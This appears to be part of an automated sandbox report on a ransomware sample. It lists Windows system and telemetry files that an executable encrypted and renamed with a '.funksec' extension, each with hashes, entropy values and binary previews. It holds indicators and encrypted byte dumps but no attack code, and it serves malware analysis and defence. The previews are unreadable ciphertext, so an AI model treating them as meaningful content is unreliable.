                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):2112
                                                                                                                                Entropy (8bit):7.86360704288167
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:48:2B/BQ+ppSnOUJraxAEZAnidh7HTbLzFLTB9+MM2q1WAw:qpsnOuWxHCnmHP9ZWPWAw
                                                                                                                                MD5:36D28B17AC3420C92B3CB66A106D7623
                                                                                                                                SHA1:46293D82DBA5DE5E54D12408F2C44B1DA85D5953
                                                                                                                                SHA-256:7AC1E17770BB26E45C5303E8FE3926D158BC57AB70F3AC89F27F462D8B52AC9A
                                                                                                                                SHA-512:510F23AABDC1E14601684AEB7970213805FCE1095397D00D96B2EF99E471C184D30F917CF343B621D0318066685FBA015BE701D9A72C67AFA789A0B7B1923740
                                                                                                                                Malicious:false
                                                                                                                                Preview:d..WP...HT.....w. .lJxY..3o.S...?Z...\.%._.....Z.....:......:......E.C%.>..'..*0v{u.*.....OS.J}>.e.q1|.j..*...G.:.Iwaj.>...svG...%......&o..X.2..n.e.zsg..\..k......LCeF......v~...8~.....3....!.E<.G..I.....X5..Eu.x..z0cc.1.J8..^..Rc.....G..(./V.....3?*-.:L..W.+7..&?.y.K7 ..@..f..`..'.^m'!^..B.Dl....+...G..ia..R.:..r.%.:9!.....l.LN...@Ca..y.....`yO.I..m...i...`...O.h.*..<*...B..!3=.........../o..^..O}C......MeVk..d...'6%:E%L..K.2+.W}l.d.Vl1.8..!..E.n..>:7.3.@.v8K...?......,"..D.v..t.#.8wg..X..i.Plt.K..:P......w0....u%<..-.E1U.o5..S'=_.aY..h)......J...UX.Dk3..=...8.........p.>..'..0.k*E=...J.-+.V}$.y.U"q.8..#..<..<.W*pHi}.@..v....j.GE..wA.._.3..u.w.+&-..Y..{......LYrJ.......|yU..E.or+....'...........j..V......F....S....c......:......H..g^p..I..dww*T;....P..{..7..a.V$>.#..f..g.. ..b=1.4...2.c....v......ik.X..t.u.9./k+..E.."......].iQ......`hIr.........G.;t.6[..3..:M~1.=.. (...^L....HhL..r.....],......j.M5.>H.0..#w"=.kU...Q.,>..j#.d.W|>.3..2..aE./.\

                                                                                                                                C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):15660
                                                                                                                                Entropy (8bit):7.857516357353491
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:384:Ip52e2InCu3bK3+JFaWtBmZ281bsfGhocBNNV:XIb2OJFVBmk81bsfwbfV
                                                                                                                                MD5:C394BBB505C227F5DD3E323DDA7F832A
                                                                                                                                SHA1:B963B7ACC2EDB54DCE55973479AAB28634D9C335
                                                                                                                                SHA-256:E4747E72C82D9E19086FE1136AAA2DB223207058A8CDE0F7A0E389AAB9E10515
                                                                                                                                SHA-512:4AA7625767ACBC046EF6E9C708281F74A3A34783B4750D5C1C6075D12F1AB9C8FD5B720AF5CDCB9965973CB5CD021571C6FDD7C1E9E67DF825258DB6F39E6A34
                                                                                                                                Malicious:false
                                                                                                                                Preview:.}.9h_)....6..u....T!~^.....8.kf..._.......M..D...;.LK..C..g....i.E....@.bGl...5..p.X...R..F...........e#...O..c...M..l..h.]...3....3.t....n.Tt......4).......4o.f.......h..1Y.ah....}e..'.2.!..xLL...^.._.+N...%....S....z....s....E.%..yTD...o.`........M.....H.^..].$|...A..r.[...7...f....3.;..Z.9...*U.&.......").......@..1...........=Hf....C..@1:...9..U"..{..#Dt.).3..........~.....r...-.J.....Q..m.:...0..6.....^..Z....S.Q....|(.]XB.!......$...w....r....".hF..y0Ob......;?........B..h...........w9......;P.{.n...I.n[J.a......F&.`2..0y..z[..A..g....t.[.......b.!...<..t.[.......D.....Q.S..M.)m.FPV..a.W.P..7...f....`.h.p.9....|.@b......#?........@..-........sH...W.cu.......l..OfYR...7....a+A..+....Ck.\..g...u.H..X....eVf...&..l.....a..Z.....Q.S..M.)m.....3...P..{..#.Q...2.%..$.9Z...8W........wl........@..-......c...._....._v.]...>...ob.^......@.f.y/.Y.Pt..9.."....I._..W....`Ep...;..(.3...L.Z.....Q.S..M.)m.....3.J

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\TELEMETRY.ASM-WINDOWSSQ.json.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):125
                                                                                                                                Entropy (8bit):6.541627884592867
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:QNbkPMnoyEt/T2DR00PUnyDHyvGktACb3YElhn:QJkIcT2DEQHyGCDV
                                                                                                                                MD5:92E7AD731FA8F1BB82E53B96B2F2594B
                                                                                                                                SHA1:582365C75885950FD911F587AE73C1C456947562
                                                                                                                                SHA-256:CE3887919A25FE49FEC43A0B07DB0396BD1B988D194E41092A3B3386BB7EB75D
                                                                                                                                SHA-512:C76AE761085FF4D82534F2932F8CDE8DB3EC448F972B232C9636F321DBAD7E90FCD8DE1CF4DA881D13BC7FB972FD5B837866D494C3A920C045FABB54E033CA60
                                                                                                                                Malicious:false
                                                                                                                                Preview:j:6v..8%.(...4\.=.D..|.9u.:.M.r..........s...Z.k./.S=..9.9._Q.A.`Pc"...U..c.v.`..&...M3.}.._cA.$..~.e.2...[..w..a..U....jj

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.ASM-WindowsDefault.json.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):207785
                                                                                                                                Entropy (8bit):7.974841190143256
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3072:44MTvckPXhJmyTeZnu06brE+T8gCwE5918BCSGoIAqqpRktXb3:uPEABPEXgCwE5918DdbtktXr
                                                                                                                                MD5:E00995BEB6DFE163CAA0E94204092344
                                                                                                                                SHA1:C85F5589A0936A4A75D55EF0CD267B8096F8B46B
                                                                                                                                SHA-256:6F39AE9E9E73D6026E5F9650359E817A3DDB320A5057F5A8B11CD24A542CCBE1
                                                                                                                                SHA-512:E2688C51FF138F6E5A1EDAAB5E4B778C0806055213B09617054ECCF2A757C52E0DBB50D91EA3297B8D6202550493FDF26C458FAD229595715BA1B3708EFB6999
                                                                                                                                Malicious:false
                                                                                                                                Preview:.......b.y......{.>.b.~.Mg.M-:....L.K.0".v.M....J~Zw..J...K9...Y~Cb4`.E..?.4...^.B..q.p..x..[s.S.K..1.}..i...$...o"..|I...~....?.G.)N]9.?.....-.....W{..{..h.....W.g1y.#.Z.RY.E.L!9...c...v.v2Ho.b........\.I=(......8.{w&.9...........6.>}v.\..=..b.........f.f..M..[s.S.K....h..tV.M>...(......W.E........#H\2. .....5.(........Y..M..`..n.j'_.8......_......aT..I;.)p...AGj.....?/).%..#..rS%.). ..AJ...K/....j6$)a.F.....aP..R.I..R.g..Y..^..X.Y..8....y@.\3...u8-.:..W.z.....*..23.J7.<.....B.n.....O..K..K..3..l.ulC.8.K.C\.j-..f.|(.D....g..x..p..E..(....'H. C?.....k.1....n0....![.(d.E..+...~z..\.b..f.}..L.R.q.Z....5.i..n..X:...T-..|IA..;....6..14.n?.(....... .....B..t..R....f.c6..v.L.PQ..H#.?...%.3._).....p.....t....R.[.}.0g.k..;?.....b...Y...5j.^..v...cV..h.B..+2f..J.R_s.Y.P..n.o..xY.T2...<?.....`.c...T{.K.)CK9.#.......;.....M.....P..=..f.c0{.v.B.p\.i..PG"....D..z.....]6,o....H.....G.3...I.....W...........6.>}v.\..=..b.........f.f..M..[s.S.K....Z..Y\.^m...h

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:SysEx File -
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):193
                                                                                                                                Entropy (8bit):6.881791153868731
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:6:rO1W+sRjb/hN9SKejlH5BSzGbXhTYjedn:r7+wn/hN9SK8SoOed
                                                                                                                                MD5:536C6D9791C4F8E37CCEA4A3F4919AB5
                                                                                                                                SHA1:76E8AC71D08DE8350E58C759C781086509967BDA
                                                                                                                                SHA-256:2C17081A5634F2A6D72253BA5801A4410A3B8A1B0A3D8AA0592D42C80A793169
                                                                                                                                SHA-512:3E072080AB8B9273647ECFC02D1E1864987F2CD22134FDB5592D0269DEA1DB8DDDF4D92B05C81CBBBAD49C7B74B87B5568234DD0E1EC3BAECC58655289600206
                                                                                                                                Malicious:false
                                                                                                                                Preview:.7.(8.U}.&....._h./.a.....8..$..1';^.".U..rR....n.i.?P..(...2y.....m;...gTH@..&.A4I7.).l..[.......K.6,.....).<*.Q....d1F..M..}Vd.{..}:..d..-g.......VU'........$.Ld.d..,..4.gK.,.8..Q.FD

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-4bb4d6f7cafc4e9292f972dca2dcde42-bd019ee8-e59c-4b0f-a02c-84e72157a3ef-7485.json.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):193
                                                                                                                                Entropy (8bit):7.0262175941844145
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:6:2XFtf/ZKGgzd2eoPMXz8GaZA8LSlxTRwBrC6:2MaMXz8NZTLSlPw9
                                                                                                                                MD5:56A773C29DFAF80BC66FFA04EA7ED769
                                                                                                                                SHA1:B85440DAED0405E0343A52DB72698C5F2DC0989E
                                                                                                                                SHA-256:C0F07DD87BFABB61D43D483596C936FA2B79D47187210808E3D906599AD881AD
                                                                                                                                SHA-512:733A6AD74A59C4855DEAAA26486FFEC1D36251011F860485E81BB111A261E5DA1A71EEC0EE146EC15FEF35AAC2FB74A81741DF81228E37DA7FB09485CFEFFA44
                                                                                                                                Malicious:false
                                                                                                                                Preview:...J.&....5_..'....FR.:..*..Ocy..Pk....Eg......m........th..o.%..g...l=m...F.1.6&.Z.BO...27...bk5...;....jLd]...".5...n.~d..i.a..>Tpzk.G.k._C...i..X..u..vf.w..#....B$....&B...j.7..R

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):193
                                                                                                                                Entropy (8bit):6.889613822284932
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:K5VTIgq6TXBg8DhCgBkcBAXmphkVk/Zk3i+Vnum8RLi/v1LQpWFYVQkhyvItSLop:8VTVTFDh9hUk/ZT+QLtiNFJ3oX2w
                                                                                                                                MD5:C5D6A80E86FCB06FF7BFBC019BD5BC78
                                                                                                                                SHA1:D1F21DB70FF9712DC460ABD46DEB440ABEF57273
                                                                                                                                SHA-256:CE5077C575C5556AFEDA885A0E121E2C4426D75071C1BA87BDF555CEEFE5B6C4
                                                                                                                                SHA-512:0C649D7E9EC46AD3D13762301686E26DC5501D21081A056FBBDFB5C18850318A7B098B7CE4415E21C67813FCA2676948AC48A5FA47D48190C0D681CB8D507463
                                                                                                                                Malicious:false
                                                                                                                                Preview:....\.."bz/).J.P...-.............`o.]q...[..)P..g..o.....h.d.6.......Y& ..5|1.G.Z.;......m..".o ;.[...(m...... .........O..C"..T.]Sx....0&. eX!..r....+......y~gVgC.....:^^.-c....p....@~.

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-7005b72804a64fa4b2138faab88f877b-14cf798a-05a4-4b7b-9d02-4d99259ebd4a-7553.json.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):193
                                                                                                                                Entropy (8bit):6.967435324920446
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:HhGCbhmaQ26mjKN+6mJ2V2/7dYVATn3ADiJFdu/ONpvfCwi+c1W:guKNkzB4AjADIuSBfCc/
                                                                                                                                MD5:4E0BBD729E5BA577D8E1A2200AC5159F
                                                                                                                                SHA1:281F7E48E66A7728960D433FAC751EC47CC4EEB7
                                                                                                                                SHA-256:4C2190CCBEAC1CD2B944FE51EA2A76404136CFAFC290CF2F12A313F00A56941A
                                                                                                                                SHA-512:567F556345B17F52C31379BAEF498BEE7525F656A2A5A0530FCA8FEA7F0A393C03E12E3E8C3C0B47A7F04CED2DFC45E1FF8622D111C66A92A1E8B93445D43E6E
                                                                                                                                Malicious:false
                                                                                                                                Preview:Vj.'...e........V|.J^.^...C........Y.).a[!..a..#..L/00U.D..Nw.hf.K.>.R,r...z....1.Kw'...O.N..=p.6..S./..z9Z.......'..'2....o..A..]{..jn.+.z.....89u....X..uU.xC.3.#B.`M...GX......S.2B....

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-7e1cd04ad2694f1d89fd94ad5005a8e2-a696c450-a52d-45b4-844d-bb5b45de5f0c-7607.json.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):193
                                                                                                                                Entropy (8bit):7.0015808713752765
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:R0iO/NeDmjFZ60IX8mjQP0T7MK/LiKiofzQ7hK9xExb9Riu0DwBvnI45JTk9B:1O/NeDmxZf70MRKio7QN3d0qIFj
                                                                                                                                MD5:A798A10C5476358422479B5E2EF3D241
                                                                                                                                SHA1:A149CB64EFB512597171F6C5B33AB7A4C9FD9917
                                                                                                                                SHA-256:13F55EFBE1B3D57D4F4D04C59DE8F28B30FA256E4DF0F52F54E5C480E34C76E4
                                                                                                                                SHA-512:2D73310CA30083B5C21CFB0247EE64A009EE85D190B524EE168EE9A072155F0F921558767BE458D77F2D01918501A3F7E530344B600C879237A5375BA02B9AB3
                                                                                                                                Malicious:false
                                                                                                                                Preview: ..?...g%.v..|e.h.A.]...... .u5.2......C...r.........M..mq.$....6.g..n.I.i....}.3..2s.<.$3.V..<....%...cW...|....w....(..gBO....K......D."...|..j...&...Q.vyY....m.E..n)..2.Q...Ut...z.$

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-af397ef28e484961ba48646a5d38cf54-77418283-d6f6-4a90-b0c8-37e0f5e7b087-7425.json.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):193
                                                                                                                                Entropy (8bit):7.052876905208906
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:6:Y0WQZL8vxKeq4hDUVffOsgum3a/njfO4+/:YvQZL8vxBAVe6mK/ni4A
                                                                                                                                MD5:DCA74157817C7F626E70D241DCD8BFCF
                                                                                                                                SHA1:370C68B678F271FE3B8E2D4F4F81DBC2F79A3B2B
                                                                                                                                SHA-256:1A3A0CEDF3801EE9B02B12703186F5952CF7B8E7A6940C4E4E60603400A99731
                                                                                                                                SHA-512:EAFBBCF7C6BF8E21D78F728CEA5B244D41E4CDA029A8AF28D7147BCD8691A9D63B80606F3877EB2200BC5D2BC6CF39F9751CE5E8445A2F85C800312C51B4B654
                                                                                                                                Malicious:false
                                                                                                                                Preview:.QU]3....,s.6a.."...-8.1e....gf.}.J.d.:...g.A....>.l|JO..(Y.nhek.p.'..H$[U.#>@\,Fm..).^.X..|O+j!"..O....*.).Y.=c<P-:.M._yY./..O..w.o.._1.:..B.7v..E....h.U.u\....D./].OR.oT|......2.....D.

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-d5a8f02229be41efb047bd8f883ba799-59258264-451c-4459-8c09-75d7d721219a-7112.json.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):193
                                                                                                                                Entropy (8bit):6.93803339724839
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:O8Vkm7Bpu0EsDT94LKGxeGs1LVehvdf5w62mNow1DTMtkU5ufv4RiIz+:O8VkSBpVEsHSxvjdf5J2q9TMtkU5c4W
                                                                                                                                MD5:1B1F14002178F9F35EABE0AE4FC91D9A
                                                                                                                                SHA1:3293168A7E0D7A8D3117B0E340A29018B50AD6C4
                                                                                                                                SHA-256:C3755F6A3D58F147A184121E96ECD83A3F70CAF3B3F7053051FF4075158034FA
                                                                                                                                SHA-512:3CB2F27087FC79934D7DAB30508161A12FC380DBAC227CF0BB1C3F0CBD654FAFBEF78D354927847B2C99613BA8968052228938135A81D09075757718A36C5E72
                                                                                                                                Malicious:false
                                                                                                                                Preview:e.w."o...Y0A..Jg.-K......W..^....TC.....m*............XpM]..H6!.h...0{.........:.........%..6._. .|Dk..E..d....M..x5.6)H..P.=l...U..m.]....c....~......./... .D....WU....y._h.=B=.y

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-Eco3PTelDefault.json.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):129
                                                                                                                                Entropy (8bit):6.51607761991218
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:NQw583T3X+bpAjiecjS1qJCSg+dHUD1TglR8+jcs2TWY79:X+b2AiexJiHU9yli
                                                                                                                                MD5:A131C3AFF3075C6D0B52FE4E36A07BA0
                                                                                                                                SHA1:82EA1AD93F8837CF0F6C76D95FC6BB221C5EAA2E
                                                                                                                                SHA-256:33E7CA09BC2625ED222A8DC0311A212EE0421355EF0C89E24AB41D5F201C9F2B
                                                                                                                                SHA-512:CEB17F785C33C87A00537E1FE02A17C22749EF2C4F1943796DD29B7D0D48E45116F1BB5FE863B69511D616D6DC84159F5CB503D51E44F9C8C77CB706AE5BBD7C
                                                                                                                                Malicious:false
                                                                                                                                Preview:.}...~=>#.q6.1..m..4XR-.x.4....>.4.C..3.%NU.o..`...X.UW....).c.Y..w.dG..T....b.[8vn,C,*<...v.L.........[..d..]...6.L.........#

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.allow.json.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):2667534
                                                                                                                                Entropy (8bit):7.972134787211644
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:24576:3Yym+1b1xgfPYSCQ9K96iS0vvTpatQpWlr7HIItZWdftrJy+9p:3l5xgfPNk9VUQpuvHb0fB/7
                                                                                                                                MD5:2DF8AB60FF66B76889ED295B67753001
                                                                                                                                SHA1:3196F23DC000912D18E035C2C9DF4376D9091047
                                                                                                                                SHA-256:0C6D3E82DBCCCEA33572D5BE2960859B091976D45E70C50CE5CC2D4567205720
                                                                                                                                SHA-512:0B510A5D6920DAD2A400930738F4248BB497B8C731EBF3A7502BFFCD79C81C4E2AC1D17D5BD33D7CFB1A7940A95C138A96AD2F6EEE0427CF6DF331D30F41B402
                                                                                                                                Malicious:false
                                                                                                                                Preview:z..!..9m.`.2....A~e...1UEX.|.>D. f|I.....|z....s.;"CBf.m...$..V..;..S.e.L!o...a3B..^.]...B.......]...a.g.}.}...S4.lR%ca.U.]!..r.u.....1.g...mO-..#&.hc.!^.G>.........).hFD..`q.=..o$t.z..................r^gf#.{.Kp...l..M.~w...x...... ...\.d..4;Q..lj...K............{../.D.......T.V$.8i|.[..0....u.....$.`.....>_.|`./u..=K..n...M....-.7FQ.}g..h_A.+?.4.........k../...;}.=.7....QS..)j..eL..x........V......b.>..J(...u.....G............^.."....I&....f.%.%r{..HP...[.#.'[..u.9....|8...|d.f{..$Z.W)....T...g./....%1....M.....`.......".R.S...*..N.O.....#.u.8.y.w....t..N...s..s.J.San...~v...z.s...*.......O..a..N.N.(.O..%W2R}$b..S]k..i.;.9...j.]....V{V.|a.jk..a..du...[.....).hFD..%hZ..k..S.\l.....tW.A..N..m..R..6*..w..Xu.....N1.y....7.......`....x.Kzp^..a.b..S.^..T..........{......1...Yf.g.}}0...Es..~.c. ...g.+...Me...c.a...=L..v....m..p.4%F..+?Z+.%.N......+.".s.?..-.-.T-.........~S>.|...].P.`...t.......d...U.{.^m|...>'B...............o..4........]..u

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.app.json.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):154121
                                                                                                                                Entropy (8bit):7.958084227680194
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3072:+sWwuLhB3jt1VeyfGQX7q1eMn+NL3sLoiVBoZxCWx0c/Nfliib/jT:xIv/fxov/VoOc/F/
                                                                                                                                MD5:80D5595FB325B312CDAB944A9A90673D
                                                                                                                                SHA1:8C686447BF28432FC8FAF4F66C32A6A90923DEAE
                                                                                                                                SHA-256:2A9AE68E2891D9F42056AA9E3774B59C1E839E1C7164637B49665D2197BB90D4
                                                                                                                                SHA-512:D9FFE74F5500065094A777D5304A73894DF372C3EE5F3D372B70559E36F90546A3E8E38CBDD1107CABF3E997BBDF65C77C47252EFC8FA969752E73ACDEC7920F
                                                                                                                                Malicious:false
                                                                                                                                Preview:.n....m.8....G.z...o..............].[$.ta....|=D..!...<..b....'..u.K...Sw.*v.7f..H.]V..........b.a..P..\C..[,A.e.../.5.L%..U_.j.^w....&&yzU.`...;.%{-...-..dV...h.A74.x.'...P.VG...|..EK".RA..@..I.tz.G"YS.._!n7Q.Pq....<....M..}..2..k.K..;.g...(#.&".&p.........X....AN.{......./?..p.=.*.......!nz.5...@.w.....b8... S..[7.%.[..y-..iX..og. ESk].V.....xmP.F|......%........a...gV......u.4cm.......{..r....0..,.....2.b%. >.....FM........../.V..^..{9..w]"......Q.L.&2-.,A....t.....(`h}X.hT..E".3b-...C..#...g.VQ0...'...m....W_.!..Dl.....|..5...=.j.chE+.K....x.QS...a...(..r.._.:..1.....H6.1v.rq..^BM...ZX...BH.{......./>..!Q=.)...Z.Y.t2v.+C....r....1fh&_.kR...wY52?..n ...;...r.8EK.|.#.............%.M....K..2...m{...~.....o.F....Q...t..(..Z.k..0.C..K9.)~.ws....@KL...R...I..(....Z..-k..uV;.}...S.P.#hw. ..@. A....*)9}.. ]...8\75j..q%...z..q.. SS.m.X..'iw.. ap...h-O...`..y..>Zy...$....NM..]./......M...`..U....=..`....Kg.)s.q$....GRO.._......5...>.#7..Z$A.

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.cert.json.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):3803
                                                                                                                                Entropy (8bit):7.943810053024141
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:96:gLD0RrsRtzAfT9Gw4868M7zDUjXO+rJEOacU21JE:gLPz29Gv86WpaWE
                                                                                                                                MD5:34DB14BAB162A3981F95F6682E2EBA01
                                                                                                                                SHA1:544188A447A508BD02F9A128CE0E22FFB461F10A
                                                                                                                                SHA-256:2DE20C0262D81DACE965DFCD5904D45FB13D3319E8F8968B4A87B8599E68199B
                                                                                                                                SHA-512:48F24DF90613C08C5A583533B0871B13CAFD17B15207FED1FD0B164956D1CD1F3D11D5896EADFFEFC4C08B85B79AF1FFCAFDCFDBE713E37771A4742AAB2DE2C4
                                                                                                                                Malicious:false
                                                                                                                                Preview:x|.C.m..g.byA.a.1]^.e82...;.h...e..d+.m....^.L...*.t..[...d.G.o....8b..*$/8?n.#y..Y!./gR.C...^......Js)Y.+.lW-..il<..V[...^..4.=...........J..n.QO.).......f....zN<b...l...[2..6.VD,*.P\......MR.....7......_.e8..k.....M.8t.....h...n.v......S....&R,..d..oK4"Xpf8...G.....9MEz... ...o\.?..LS...D....9... ..N...@..M;h_* ..3....f.s..QJ,9...D.."....... . ?.b6.b.'.l.D.;.Bb.Ph..........O.v@...IZ.S[...`...-.x.....*[.>.&](..J...{w5-[pp...-....M.a:f./.:...+g.3..q~..;q..t.%......N......|..w.T.........}..s_.kY..@..>1........}...?3.?.m..$.z.q.R.....M...z<.'$f..Ws.VK....k...X.t.........7n.#..|...m.F.Gwh+...C.....H*ZSi...>$..._.6..z~..,*...t.M........K...f..TbHq(...<.....w.w..GN+q..b..."...!.T....c........fdT.}.&.q...8B..-.i;I..q..S....?..c.......<....U..=twz.m.^...V=?.^\G...+l...K.DI|.-.y;7.-x'`..St...w...w.....=...D...X..q.Kh.1.......C...DY.e'..0...:F....q....}.AP....B....e.'.+w..X.;..#.kZ,.?.2...R".B.....2.o.......C..qr4t.-.Q...Y`.}bLs6..^L....l.{R.....#...\.L.

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.privacy.json.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):2954840
                                                                                                                                Entropy (8bit):7.955585112562887
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:49152:iq9hsu+ynbIimyVVXJaBN+u76hFae9hSDDqR:iYOynbDxtIBN+uGhFlhSf0
                                                                                                                                MD5:65EA53AB32B4CE31E6F564B2B4B2FF04
                                                                                                                                SHA1:4803616803E812791AB2233208C08E7028364D9B
                                                                                                                                SHA-256:B37B163FEFFD9C9E1AD4D08018B8AA0BB45A8F7C8ACE6F2722BB54BE70B9676A
                                                                                                                                SHA-512:133133DE02DE350493FEB88D64876376A42D71F045B565AF8851F423766E145947F9356663673C7380CB0F9B35D0E38532C94F2EA69371784A803AC6904FE469
                                                                                                                                Malicious:false
                                                                                                                                Preview:.....F..".$.'....p.gO.x,+.......P..[...]O.5.ha....m.-.0+}.<.+L.g....p..k...KN.v0.&\.g$...Kbs..<.k.....sN~.p}B>..4..r}).D.q.[@.;...d.*..6..%.O7...&....m)xb....G...<.........2...K.&Mo.:q.gp...E/..z<....".|\....W:..".....w1)>wc&.'.m..;O...;..:....../f.hX.,hmR..:%..;.P......BlS..e(.....>%....~.i..;...v.+..b..l.r......g....~"x5.)9.^..p...E......U.s.v.a0.....R@.-...`...JFO.P.l....x...>.-.)9....+m:/.pL.r=...l..V..K.....'.."p9...+sR..,.`......S-..Y;.G..+. }r....'.SZ.j...T',..9..0.!$...1.....z(1B.%}.....>..............[I....5..k....NU.Ea.]..~Tgg........mwC.4 p w6tntAh..jA...m.."......j*.z..Z...../2...r.w..Z...BbO.]1U0..n..j))....i.x].~..lU1..b..n.9X...g.....k2uy.xf.~..;..H.....J:].....N..0!.!.2v..n..Q#....).|..b.4..$.e3.y9)8!.e!+Ml...>.I5V.y..GD.P1.oM.kp2Q.K!!J..).a......K-...,....5..g.....%.YM.#...x.+.....o.~....Mu.....i'pb.)s.g...=..E.....I.=x.a..6...P*.+.N.{..*.m3.5=a._*.~ey"..h.7..kq'y:)&vl.m..dO...qV.:.....m#.&y.M.=...-(R....`..{...?..{.;]..

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.tracing.json.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):113
                                                                                                                                Entropy (8bit):6.470534935828237
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:DZPeaIuyVky6HvTxKR37eoqDUDq/MPUl3oEan:FPeXbiv8eoBq/MP63oTn
                                                                                                                                MD5:E0C3A1584CEC3EAC71BBEBFBB7F47764
                                                                                                                                SHA1:D43A0D02E0533F91CF479823BB8D7EB481E34659
                                                                                                                                SHA-256:3D743DF35FE26AA6B9A50B3148937364398069410DA40A177AF547798372EF3C
                                                                                                                                SHA-512:60A650E3642156AC3316F5CE55FC1D8B245FBCA33EEC0255C873B31378F2F214E0D5FFB99911D9586A18ABB46B3187647CC81409C0516F93BDD86F8318B1FA10
                                                                                                                                Malicious:false
                                                                                                                                Preview: >.A...O.6.%V.8#D..`..g6.e$W/.......6T*{.E4t4H.`...F..}.!.9.....G.....R?....C.Aj.+qq..M....N[D.9....c.6.2y..s

                                                                                                                                C:\ProgramData\Microsoft\Diagnosis\ETLLogs\ShutdownLogger\Diagtrack-Listener.etl.funksec

                                                                                                                                Download File
